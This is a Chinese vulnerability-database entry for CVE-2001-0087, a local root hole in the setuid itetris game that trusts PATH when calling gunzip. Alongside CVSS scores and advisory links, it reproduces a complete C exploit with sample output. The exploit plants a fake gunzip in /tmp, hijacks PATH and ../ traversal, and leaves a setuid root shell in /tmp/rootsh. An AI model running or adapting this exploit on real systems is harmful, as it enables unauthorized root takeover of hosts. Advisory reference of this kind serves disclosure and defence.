CVE-2001-0087
CVSS7.2
发布时间 :2001-02-12 00:00:00
修订时间 :2008-09-05 16:23:14
NMCOES    

[原文]itetris/xitetris 1.6.2 and earlier trusts the PATH environmental variable to find and execute the gunzip program, which allows local users to gain root privileges by changing their PATH so that it points to a malicious gunzip program.


[CNNVD]Itetris特权任意命令执行漏洞(CNNVD-200102-031)

        itetris/xitetris 1.6.2及其早期版本信任PATH环境变量查找并执行gunzip程序。本地用户可以通过改变指向恶意gunzip程序的PATH提升根目录特权。

- CVSS (基础分值)

CVSS分值: 7.2 [严重(HIGH)]
机密性影响: COMPLETE [完全的信息泄露导致所有系统文件暴露]
完整性影响: COMPLETE [系统完整性可被完全破坏]
可用性影响: COMPLETE [可能导致系统完全宕机]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: LOCAL [漏洞利用需要具有物理访问权限或本地帐户]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

cpe:/a:michael_glickman:itetris:1.6.1
cpe:/a:michael_glickman:itetris:1.6.2

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0087
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2001-0087
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200102-031
(官方数据源) CNNVD

- 其它链接及资源

http://www.securityfocus.com/bid/2139
(VENDOR_ADVISORY)  BID  2139
http://archives.neohapsis.com/archives/bugtraq/2000-12/0295.html
(VENDOR_ADVISORY)  BUGTRAQ  20001219 itetris[v1.6.2] local root exploit (system()+../ protection)
http://xforce.iss.net/static/5795.php
(UNKNOWN)  XF  itetris-svgalib-path

- 漏洞信息

Itetris特权任意命令执行漏洞
高危 未知
2001-02-12 00:00:00 2005-10-20 00:00:00
本地  
        itetris/xitetris 1.6.2及其早期版本信任PATH环境变量查找并执行gunzip程序。本地用户可以通过改变指向恶意gunzip程序的PATH提升根目录特权。

- 公告与补丁

        Currently the SecurityFocus staff are not ware of any vendor supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: vuldb@securityfocus.com.

- 漏洞信息 (20517)

Itetris 1.6.1/1.6.2 Privileged Arbitrary Command Execution Vulnerability (EDBID:20517)
linux local
2000-12-19 Verified
0 V9
N/A [点击下载]
source: http://www.securityfocus.com/bid/2139/info

Itetris, or "Intelligent Tetris", is a clone of the popular Tetris puzzle game for linux systems. The svgalib version of Itetris is installed setuid root so that it may access video hardware when run by a regular user. Itetris contains a vulnerability which may allow unprivileged users to execute arbitrary commands as root.

Itetris uses the system() function to execute gunzip when uncompressing font files. Unfortuntely it does so in a very insecure way -- relying on gunzip being located in directories specified in the PATH environment variable. It is possible to exploit this vulnerability if an attacker sets PATH to include a directory under his/her control in which a "gunzip" is found instead of or before the real location, eg:

PATH=/tmp/hacker:$PATH

Any program with the filename "gunzip" in /tmp/hacker would then be executed with Itetris' effective privileges. This vulnerability can be exploited to gain super user access and completely compromise the victim host.


/* (*)itetris[v1.6.2] local root exploit, by: v9[v9@fakehalo.org].  this will
   give you root on systems that have the itetris game installed.  the program
   is installed setuid(0)/root due to svgalib.  this exploits a system() call
   mixed with bad ../ protection, which makes this possible -- considering it
   needs a font file to end with ".gz" to run gunzip.

   explaination(egafont.c):
   ---------------------------------------------------------------------------
   [199/360]:char *FontPath, *FontPath1;
   ...
   [237/360]:unzipped = strcasecmp(FontPath+fontheight-3, ".gz");
   ...
   [246/360]:sprintf(FontPath1, "gunzip -c %s > %s", FontPath, tmp_file_name);
   [247/360]:system(FontPath1);
   ---------------------------------------------------------------------------
   
   example:
   ---------------------------------------------------------------------------
   # cc xitetris.c -o xitetris  
   # ./xitetris
   [ (*)itetris[v1.6.2] local root exploit, by: v9[v9@fakehalo.org]. ]
   [*] checking /usr/local/bin/itetris for proper file permissions.
   [*] done, /usr/local/bin/itetris appears to be setuid.
   [*] done, making temporary files.
   [*] done, setting up environment variable(s).
   [*] done, launching /usr/local/bin/itetris. (the screen may blink locally)
   [*] done, cleaning up temporary files.
   [*] done, checking /tmp/rootsh for proper file permissions.
   [*] success! /tmp/rootsh appears to be set*id.
   [?] do you wish to enter the rootshell now(y/n)?: y
   [*] ok, executing rootshell(/tmp/rootsh) now.
   # 
   ---------------------------------------------------------------------------
*/
#define PATH            "/usr/local/bin/itetris"        // path to itetris.
#define APPENDPATH      "/tmp"                          // tmp dir to use.
#define EXECFILE        "gunzip"                        // don't change this.
#define FAKEFILE        "xitetris.gz"                   // must end with .gz.
#define SUIDSHELL       "/tmp/rootsh"                   // root shell location.
#include <stdio.h>
#include <sys/stat.h>
main(){
 char cmd[256],tmpfile[256],fakefile[256],path[1024],input[0];
 struct stat mod1,mod2;
 FILE *suidexec,*fakegz;
 fprintf(stderr,"[ (*)itetris[v1.6.2] local root exploit, by: v9[v9@fakehalo.o"
 "rg]. ]\n");
 fprintf(stderr,"[*] checking %s for proper file permissions.\n",PATH);
 if(stat(PATH,&mod1)){
  fprintf(stderr,"[!] failed, %s doesnt appear to exist.\n",PATH);
  exit(1);
 }
 else if(mod1.st_mode==35309){
  fprintf(stderr,"[*] done, %s appears to be setuid.\n",PATH);
 }
 else{
  fprintf(stderr,"[!] failed, %s doesn't appear to be setuid.\n",PATH);
  exit(1);
 }
 fprintf(stderr,"[*] done, making temporary files.\n");
 snprintf(fakefile,sizeof(fakefile),"%s/%s",APPENDPATH,FAKEFILE);
 snprintf(tmpfile,sizeof(tmpfile),"%s/%s",APPENDPATH,EXECFILE);
 unlink(fakefile);fakegz=fopen(fakefile,"w");fclose(fakegz);
 unlink(tmpfile);suidexec=fopen(tmpfile,"w");
 fprintf(suidexec,"#!/bin/sh\n");
 fprintf(suidexec,"cp /bin/sh %s\n",SUIDSHELL);
 fprintf(suidexec,"chown 0.0 %s\n",SUIDSHELL);
 fprintf(suidexec,"chmod 6755 %s\n",SUIDSHELL);
 fclose(suidexec);
 chmod(tmpfile,33261);
 fprintf(stderr,"[*] done, setting up environment variable(s).\n");
 snprintf(path,sizeof(path),"%s:%s",APPENDPATH,getenv("PATH"));
 setenv("PATH",path,1);
 fprintf(stderr,"[*] done, launching %s. (the screen may blink locally)\n",
 PATH);
 sleep(1);
 snprintf(cmd,sizeof(cmd),"%s -VE -F../../../../%s/%s 1>/dev/null 2>&1",PATH,
 APPENDPATH,FAKEFILE);
 system(cmd);
 fprintf(stderr,"[*] done, cleaning up temporary files.\n");
 unlink(fakefile);unlink(tmpfile);
 fprintf(stderr,"[*] done, checking %s for proper file permissions.\n",
 SUIDSHELL);
 if(stat(SUIDSHELL,&mod2)){
  fprintf(stderr,"[!] failed, %s doesnt appear to exist.\n",SUIDSHELL);
  exit(1);
 }
 else if(mod2.st_mode==36333){
  fprintf(stderr,"[*] success! %s appears to be set*id.\n",SUIDSHELL);
 }
 else{
  fprintf(stderr,"[!] failed, %s doesn't appear to be set*id.\n",SUIDSHELL);
  exit(1);
 }
 fprintf(stderr,"[?] do you wish to enter the rootshell now(y/n)?: ");
 scanf("%s",input);
 if(input[0]!=0x59&&input[0]!=0x79){
  printf("[*] aborted, the rootshell is: %s.\n",SUIDSHELL);
 }
 else{
  printf("[*] ok, executing rootshell(%s) now.\n",SUIDSHELL);
  execl(SUIDSHELL,SUIDSHELL,0);
 }
 fprintf(stderr,"[*] exiting program successfully.\n");
 exit(0);
}

		

- 漏洞信息

13797
itetris PATH Environment Variable Subversion Privilege Escalation
Local Access Required Input Manipulation
Loss of Integrity
Exploit Public

- 漏洞描述

- 时间线

2000-12-19 Unknow
2000-12-19 Unknow

- 解决方案

Products

Unknown or Incomplete

- 相关参考

- 漏洞作者

Unknown or Incomplete

- 漏洞信息

Itetris Privileged Arbitrary Command Execution Vulnerability
Unknown 2139
No Yes
2000-12-19 12:00:00 2009-07-11 04:46:00
First posted to Bugtraq by Chris Sharp <v9@fakehalo.org> on Dec 19, 2000.

- 受影响的程序版本

Michael Glickman itetris 1.6.2
Michael Glickman itetris 1.6.1

- 漏洞讨论

Itetris, or "Intelligent Tetris", is a clone of the popular Tetris puzzle game for linux systems. The svgalib version of Itetris is installed setuid root so that it may access video hardware when run by a regular user. Itetris contains a vulnerability which may allow unprivileged users to execute arbitrary commands as root.

Itetris uses the system() function to execute gunzip when uncompressing font files. Unfortuntely it does so in a very insecure way -- relying on gunzip being located in directories specified in the PATH environment variable. It is possible to exploit this vulnerability if an attacker sets PATH to include a directory under his/her control in which a "gunzip" is found instead of or before the real location, eg:

PATH=/tmp/hacker:$PATH

Any program with the filename "gunzip" in /tmp/hacker would then be executed with Itetris' effective privileges. This vulnerability can be exploited to gain super user access and completely compromise the victim host.

- 漏洞利用

x

- 解决方案

Currently the SecurityFocus staff are not ware of any vendor supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: vuldb@securityfocus.com.

- 相关参考

 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站